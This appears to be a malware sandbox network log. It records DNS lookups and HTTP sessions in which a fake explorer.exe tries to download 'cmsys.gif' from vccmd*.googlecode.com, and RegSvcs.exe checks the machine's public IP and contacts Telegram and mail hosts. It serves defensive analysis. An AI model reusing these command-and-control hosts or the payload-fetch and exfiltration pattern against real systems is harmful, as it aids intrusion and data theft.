Oct 29, 2024 13:09:06.159327984 CET	192.168.2.5	1.1.1.1	0xf5e1	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:13.157568932 CET	192.168.2.5	1.1.1.1	0xf886	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:19.316895008 CET	192.168.2.5	1.1.1.1	0xdc00	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:25.421792030 CET	192.168.2.5	1.1.1.1	0xc499	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:31.047224045 CET	192.168.2.5	1.1.1.1	0x821d	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:36.188956022 CET	192.168.2.5	1.1.1.1	0x12e0	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:41.555084944 CET	192.168.2.5	1.1.1.1	0x2fae	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:47.249954939 CET	192.168.2.5	1.1.1.1	0x9a22	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:53.710174084 CET	192.168.2.5	1.1.1.1	0x1a38	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:59.189383984 CET	192.168.2.5	1.1.1.1	0x9c83	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:04.406259060 CET	192.168.2.5	1.1.1.1	0x4a43	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:11.314239025 CET	192.168.2.5	1.1.1.1	0x1e57	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:16.691361904 CET	192.168.2.5	1.1.1.1	0x7110	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:22.345129013 CET	192.168.2.5	1.1.1.1	0x7129	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:28.127891064 CET	192.168.2.5	1.1.1.1	0xb7bc	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:33.526981115 CET	192.168.2.5	1.1.1.1	0x134d	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:38.904863119 CET	192.168.2.5	1.1.1.1	0xb05d	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:44.604074001 CET	192.168.2.5	1.1.1.1	0x1f0f	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:50.163337946 CET	192.168.2.5	1.1.1.1	0xfecb	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:55.687036037 CET	192.168.2.5	1.1.1.1	0x99f2	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:00.962342024 CET	192.168.2.5	1.1.1.1	0xac87	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:07.202555895 CET	192.168.2.5	1.1.1.1	0x95d1	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:12.641931057 CET	192.168.2.5	1.1.1.1	0x27f2	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:18.308389902 CET	192.168.2.5	1.1.1.1	0xb001	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:23.950151920 CET	192.168.2.5	1.1.1.1	0x1ee	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:29.191298962 CET	192.168.2.5	1.1.1.1	0x7db7	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:35.045613050 CET	192.168.2.5	1.1.1.1	0x33e7	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:40.751581907 CET	192.168.2.5	1.1.1.1	0x6767	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:47.141391039 CET	192.168.2.5	1.1.1.1	0xc902	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:52.507941008 CET	192.168.2.5	1.1.1.1	0x123c	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:57.957179070 CET	192.168.2.5	1.1.1.1	0x34cd	Standard query (0)	vccmd01.t35.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 13:07:59.146590948 CET	1.1.1.1	192.168.2.5	0x63cf	No error (0)	vccmd01.googlecode.com	googlecode.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 13:07:59.146590948 CET	1.1.1.1	192.168.2.5	0x63cf	No error (0)	googlecode.l.googleusercontent.com		64.233.166.82	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:07:59.559124947 CET	1.1.1.1	192.168.2.5	0x26a0	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 13:07:59.559124947 CET	1.1.1.1	192.168.2.5	0x26a0	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:07:59.559124947 CET	1.1.1.1	192.168.2.5	0x26a0	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:07:59.559124947 CET	1.1.1.1	192.168.2.5	0x26a0	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:07:59.559124947 CET	1.1.1.1	192.168.2.5	0x26a0	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:07:59.559124947 CET	1.1.1.1	192.168.2.5	0x26a0	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:01.168415070 CET	1.1.1.1	192.168.2.5	0x808f	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:01.168415070 CET	1.1.1.1	192.168.2.5	0x808f	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:02.361577988 CET	1.1.1.1	192.168.2.5	0xe39	No error (0)	vccmd02.googlecode.com	googlecode.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 13:08:02.361577988 CET	1.1.1.1	192.168.2.5	0xe39	No error (0)	googlecode.l.googleusercontent.com		108.177.15.82	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:04.665932894 CET	1.1.1.1	192.168.2.5	0xf414	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:04.665932894 CET	1.1.1.1	192.168.2.5	0xf414	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:04.715051889 CET	1.1.1.1	192.168.2.5	0xded5	No error (0)	vccmd03.googlecode.com	googlecode.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 13:08:04.715051889 CET	1.1.1.1	192.168.2.5	0xded5	No error (0)	googlecode.l.googleusercontent.com		142.251.168.82	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:07.174757004 CET	1.1.1.1	192.168.2.5	0xc74f	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:08.771855116 CET	1.1.1.1	192.168.2.5	0xd131	No error (0)	vccmd01.zxq.net		51.81.194.202	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:10.052191019 CET	1.1.1.1	192.168.2.5	0xee91	No error (0)	zxq.net		51.81.194.202	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:17.727978945 CET	1.1.1.1	192.168.2.5	0xb3c9	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:23.699196100 CET	1.1.1.1	192.168.2.5	0xf43f	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:26.350033998 CET	1.1.1.1	192.168.2.5	0xc898	No error (0)	mail.tlakovec.si		212.44.112.138	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:33.356729031 CET	1.1.1.1	192.168.2.5	0x8ed	Name error (3)	241.42.69.40.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 29, 2024 13:08:35.738554955 CET	1.1.1.1	192.168.2.5	0x895b	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:47.428945065 CET	1.1.1.1	192.168.2.5	0x3d52	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:08:56.835568905 CET	1.1.1.1	192.168.2.5	0x767e	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:06.496651888 CET	1.1.1.1	192.168.2.5	0xf5e1	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:13.165195942 CET	1.1.1.1	192.168.2.5	0xf886	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:19.405249119 CET	1.1.1.1	192.168.2.5	0xdc00	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:25.509668112 CET	1.1.1.1	192.168.2.5	0xc499	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:31.136526108 CET	1.1.1.1	192.168.2.5	0x821d	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:36.277333975 CET	1.1.1.1	192.168.2.5	0x12e0	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:41.643788099 CET	1.1.1.1	192.168.2.5	0x2fae	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:47.525832891 CET	1.1.1.1	192.168.2.5	0x9a22	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:53.799762011 CET	1.1.1.1	192.168.2.5	0x1a38	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:09:59.197417021 CET	1.1.1.1	192.168.2.5	0x9c83	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:04.494157076 CET	1.1.1.1	192.168.2.5	0x4a43	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:11.403155088 CET	1.1.1.1	192.168.2.5	0x1e57	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:16.699156046 CET	1.1.1.1	192.168.2.5	0x7110	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:22.437026978 CET	1.1.1.1	192.168.2.5	0x7129	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:28.217782021 CET	1.1.1.1	192.168.2.5	0xb7bc	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:33.534872055 CET	1.1.1.1	192.168.2.5	0x134d	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:38.996296883 CET	1.1.1.1	192.168.2.5	0xb05d	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:44.612570047 CET	1.1.1.1	192.168.2.5	0x1f0f	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:50.250904083 CET	1.1.1.1	192.168.2.5	0xfecb	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:10:55.695785046 CET	1.1.1.1	192.168.2.5	0x99f2	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:01.213273048 CET	1.1.1.1	192.168.2.5	0xac87	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:07.212618113 CET	1.1.1.1	192.168.2.5	0x95d1	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:12.731012106 CET	1.1.1.1	192.168.2.5	0x27f2	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:18.397253036 CET	1.1.1.1	192.168.2.5	0xb001	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:23.958632946 CET	1.1.1.1	192.168.2.5	0x1ee	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:29.574548006 CET	1.1.1.1	192.168.2.5	0x7db7	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:35.134089947 CET	1.1.1.1	192.168.2.5	0x33e7	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:41.238910913 CET	1.1.1.1	192.168.2.5	0x6767	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:47.149904966 CET	1.1.1.1	192.168.2.5	0xc902	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:52.595525026 CET	1.1.1.1	192.168.2.5	0x123c	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 13:11:58.126013041 CET	1.1.1.1	192.168.2.5	0x34cd	Name error (3)	vccmd01.t35.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

zxq.net

slscr.update.microsoft.com

otelrules.azureedge.net

api.telegram.org

fe3cr.delivery.mp.microsoft.com

vccmd01.googlecode.com

checkip.dyndns.org

vccmd02.googlecode.com

vccmd03.googlecode.com

vccmd01.zxq.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:07:59.188297987 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:00.100457907 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:07:59 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:00.100480080 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	132.226.247.73	80	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:07:59.576453924 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 29, 2024 13:08:00.451689005 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:00 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1f2dfa7f80f1aa63a336904bfb771d39 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>
Oct 29, 2024 13:08:00.504200935 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 29, 2024 13:08:00.769324064 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:00 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 678a4be87e5c449422fddd5d9f8a1107 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>
Oct 29, 2024 13:08:02.499444008 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 29, 2024 13:08:02.763768911 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:02 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 540cbaa2a862cbe14f93ba80d40f38a6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:02.368700027 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:03.290827036 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:03 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:03.290849924 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	132.226.247.73	80	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:03.784301043 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 29, 2024 13:08:04.656728983 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:04 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ae96a13219d6676ed0dd925475ed54bc Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49711	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:04.721707106 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:05.653434992 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:05 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 